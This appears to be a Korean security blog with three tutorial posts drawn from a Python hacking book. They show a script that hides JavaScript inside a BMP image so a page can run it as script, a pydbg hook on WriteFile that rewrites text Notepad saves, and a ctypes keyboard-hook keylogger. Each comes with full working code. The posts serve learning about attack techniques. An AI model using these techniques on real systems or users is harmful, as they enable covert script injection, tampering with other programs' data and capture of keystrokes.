2016. 3. 25. 15:24 :: 애플리케이션 보안

안녕하세요~ Message 입니다.

 

파이썬은 파일을 다루는 기능을 제공합니다.

바이너리 파일을 열어서 내용을 변경하거나 추가할 수 있습니다.

아래 내용은 비트맵 파일에 자바 스크립트를 삽입해서 쿠키를 저장하고 다시 읽어들이는 프로그램입니다.

 

1) 삽입할 .js 스크립트

이미지 안에 삽입할 .js 파일 입니다.

임의의 cookie 값을 넣고, alert() 함수를 이용해 경고창을 띄웁니다.

1
2
3
4
5
6
name = 'id';
value = 'RedScreen';
var todayDate = new Date();
todayDate.setHours(todayDate.getDate() + 7);
document.cookie = name + "=" + escape( value ) + "; path=/; expires=" + todayDate.toGMTString() + "";
alert(document.cookie)
cs

 

2) 스크립트 삽입 프로그램

파일의 내용을 주석처리 한뒤, 위에 작성한 .js 파일을 삽입합니다.

주석처리 했지만, 브라우저는 매직넘버만 확인하면 일부 손상에도 불구하고

비트맵 파일을 정상적으로 읽습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-
 
fname = "hello.bmp"
 
""" hello.bmp 파일을 이진 파일 전용 읽기 모드(r+b)로 연다."""
pfile = open(fname, "r+b")
buff = pfile.read()
 
""" 스크립트 실행 중 오류를 발생시킬 수 있는 2A(*)과 2F(/) 문자는 공백으로 치환한다 """
buff.replace(b'\x2A\x2F', b'\x00\x00')
pfile.close()
 
""" hello.bmp 파일을 이진 파일 쓰기 전용 모드로 열고 buff 변수에 저장된 내용을 기록한다."""
pfile = open(fname, "w+b")
pfile.write(buff)
 
""" 파일 읽기 커서를 시작 기준으로 2바이트 뒤로 이동 시킨다 """
pfile.seek(2,0)
 
""" 비트맵 파일을 식별하기 위해 사용되는 매직넘버 뒤에 주석문의 시작을 의미하는 /*을 삽입한다."""
""" 브라우저는 매직넘버만 인식하면 나머지 데이터에 일부 손상이 발생해도 비트맵 파일을 정상적으로 읽는다."""
pfile.write(b'\x2F\x2A')
pfile.close()
 
""" hello.bmp 파일을 이진 파일 추가 전용 모드로 연다. """
pfile = open(fname, "a+b")
 
""" 주석문 삽입의 끝을 의미하는 */을 삽입한다 """
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
pfile.write(open('hello.js','rb').read())
pfile.close()
cs

 

3) 실행결과

왼쪽은 스크립트를 실행하기 전이고, 오른쪽은 .js파일이 삽입된 이후입니다.

 

 

4) 비트맵 실행 HTML

이미지를 띄움과 동시에, 이미지를 실행시키는 간단한 HTML 스크립트입니다.

IE로 실행시킨 결과, 실제로 alert() 함수가 작동함을 알 수 있습니다.

1
2
<img src="hello.bmp"/>
<script src="hello.bmp"></script>
cs

 

참고 : 파이썬 해킹 입문 / 조성문, 정영훈 지음

 

posted by Red_Message
2016. 3. 24. 17:08 :: 애플리케이션 보안

안녕하세요~ Message 입니다.

 

API를 후킹하는 방법에는 2가지가 있습니다.

첫번째는 Debug를 이용하여 해당 프로세스에 Attach 한 뒤, 후킹 함수를 설치하는 방법이고

두번째는 DLL인젝션을 이용하여 대상 프로세스가 강제로 악성코드를 로딩 or 설치하게 만드는 방법입니다.

 

아래 소스코드는 Debug를 이용한 API 후킹 예제입니다.

Win32 API를 활용하기 쉽게 만든 디버거 모듈인 pydbg를 이용하여 kernel32.dll의 WriteFile API를 후킹합니다.

메모장에서 "I love you" 라고 작성한뒤 저장하면, "I hate you"로 변경되어 저장하도록 작성된 예제입니다.

 

1) 동작순서

① PID얻기 >  ② 명령어주소얻기 >  ③ 중단점설정 >  ④ 콜백함수등록 

   >  ⑤ 디버그이벤트대기 >  ⑥ 이벤트발생 >  ⑦ 콜백함수실행 >  ⑧ 프로세스복귀

2) 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import utils, sys
from pydbg import *
from pydbg.defines import *
from _msi import PID_APPNAME
 
'''
BOOL WINAPI WriteFile(
_In_        HANDLE hFile,
_In_        LPCVOID lpBuffer,
_In_        DWORD nNumberOfBytesToWrite,
_Out_opt_   LPDWORD lpNumberOfBytesWritten,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
'''
 
dbg = pydbg()
isProcess = False
 
orgPattern = "love"
repPattern = "hate"
processName = "notepad.exe"
 
 
""" 디버그 이벤트가 발생할 때 호출할 콜백 함수 """
def replaceString(dbg, args):
    pbuffer = dbg.read_process_memory(args[1], args[2])
    
    if orgPattern in pbuffer:
        print "[APIHooking] Before : %s" % pbuffer
        pbuffer = pbuffer.replace(orgPattern, repPattern)
        replace = dbg.write_process_memory(args[1], pbuffer)
        print "[APIHooking] After : %s" % dbg.read_process_memory(args[1], args[2])
    return DBG_CONTINUE
 
 
""" for문을 이용하여 윈도우에서 실행되는 모든 프로세스 ID 리스트를 얻는다. """
for(pid, name) in dbg.enumerate_processes():
    print name
    if name.lower() == processName :
        isProcess = True
        hooks = utils.hook_container()
        
        """ 프로세스 핸들값 & 주소값 얻기 """
        dbg.attach(pid)
        print "Saves a process handle in self.h_process of pid[%d]" % pid
        hookAddress = dbg.func_resolve_debuggee("kernel32.dll""WriteFile")
        
        
        """ kernel32.dll의 WriteFile 함수에 중단점을 설정하고, 콜백함수 등록 """
        if hookAddress:
            hooks.add(dbg, hookAddress, 5, replaceString, None)
            print "sets a breakpoint at the designated address : 0x%08x" % hookAddress
            break
        else:
            print "[Error] : couldn't resolve hook address"
            sys.exit(-1)
        
if isProcess:
    print "wating for occurring debugger event"
    dbg.run()
else:
    print "[Error] : There in no process [%s]" % processName
    sys.exit(-1)
    
cs

 

3) 이슈노트

notepad.exe의 32bit/64bit 차이에 의해 DebugActiveProcess(13088) 에러가 발생하였습니다.

우리가 만든 프로그램은 32비트인데, Ctrl+R로 실행한 64비트 메모장을 디버깅 하려다 발생한 오류입니다.

내가 이클립스로 만든 프로그램이 32비트가 맞는건지 검색했으나 쉽게 나오지 않았습니다. (이래서 검색을 잘해야하는데..)

해결방법은 SysWOW64\notepad.exe 경로의 32bit 메모장을 실행시키면 오류가 발생하지 않습니다.

 

참고 : 파이썬 해킹 입문 / 조성문, 정영훈 지음

 

posted by Red_Message
2016. 3. 22. 10:02 :: 애플리케이션 보안

안녕하세요~ Message 입니다.

 

ctypes는 다양한 운영체제에서 지원하는 네이티브 라이브러리를 사용할 수 있게 도와주는 도구입니다.

따라서, 기본적인 기능만을 활용한다면 파이썬 모듈을 아주 쉽게 활용 할 수 있습니다.

아래 소스코드는 ctypes를 이용하여 Win32 API를 호출하고, 키보드를 후킹하는 소스입니다.

 

1) 동작순서

① 훅 설정 >  ② 콜백함수 등록 >  ③ 메시지 수신 대기 

   >  ④ 키보드 입력 발생 >  ⑤ 콜백함수 호출 >  ⑥ 키보드출력

2) 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
※ windll 사용
windll을 사용해서 user32와 kernel32형 변수를 선언한다.
해당 DLL에서 제공하는 함수를 사용할 때는 'user32.API명' 또는 'kernel32.API명'과 같은 방식으로 사용 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
 
user32 = windll.user32
kernel32 = windll.kernel32
 
 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
※ 변수사용
Win32 API 내부에서 정의해서 사용하는 변수값들은 MSDN이나 인터넷 검색을 통해 쉽게 확인가능 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
 
WH_KEYBOARD_LL  = 13
WM_KEYDOWN      = 0x0100
CTRL_CODE       = 162
 
 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
※ 클래스정의
훅을 설정하고 해제하는 기능을 가진 클래스 정의 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
 
class KeyLogger:
    def __init__(self):
        self.lUser32    = user32
        self.hooked      = None
    
    # user32 DLL의 SetWindowsHookExA() 함수로 훅 설정, WH_KEYBOARD_LL 이벤트 모니터링 
    def installHookProc(self, pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(WH_KEYBOARD_LL, pointer, kernel32.GetModuleHandleW(None), 0)
        if not self.hooked:
            return False
        return True
    
    # user32 DLL의 UnHookWindowsHookExA() 함수로 훅 해제, 훅은 시스템 부하를 야기하므로 적절한 시기에 해제 필요
    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None        
    
    
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
※ 함수포인터 도출
훅 프로시저를 등록하려면 함수의포인터를 전달해야한다.
ctypes에서 이를 위한 메서드 제공 -> CFUNCTYPE을 통해 SetwindowsHookExA() 함수에 맞는 인자형 선택
 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
    
def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)
    
    
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
※ 훅 프로시저 정의
훅 프로시저는 이벤트가 발생했을 때 사용자 단에서 처리를 담당하는 콜백 함수다.
들어온 메시지의 종류가 WM_KEYDOWN에 해당하면 메시지 값을 화면에 프린트해주고,
메시지 값이 <Ctrl> 키의 값과 일치하면 훅을 제거한다.
처리가 끝나면 훅체인에 있는 다른 훅 프로시저에게 제어권을 넘겨준다. 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
 
def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(
            myKeyLogger.hooked, 
            nCode, 
            wParam, 
            lParam
        )
    hookedKey = chr(lParam[0])
    print hookedKey
    if(CTRL_CODE == int(lParam[0])):
        print "Ctrl pressed, call uninstallHook()"
        myKeyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(myKeyLogger.hooked, nCode, wParam, lParam)
 
 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
※ 메시지 전달
GetMessageA() 함수는 큐를 모니터링하고 있다가 큐에 메시지가 들어오면 메시지를 꺼내서
훅 체인에 등록된 맨 처음의 훅으로 전달하는 역할을 한다.
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
 
def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg),0,0,0)
    
    
# 훅 프로세스 시작
myKeyLogger = KeyLogger()
pointer = getFPTR(hookProc)
 
if myKeyLogger.installHookProc(pointer):
    print "installed keyLogger"
 
startKeyLog()
 
 
cs

 

참고 : 파이썬 해킹 입문 / 조성문, 정영훈 지음

 

posted by Red_Message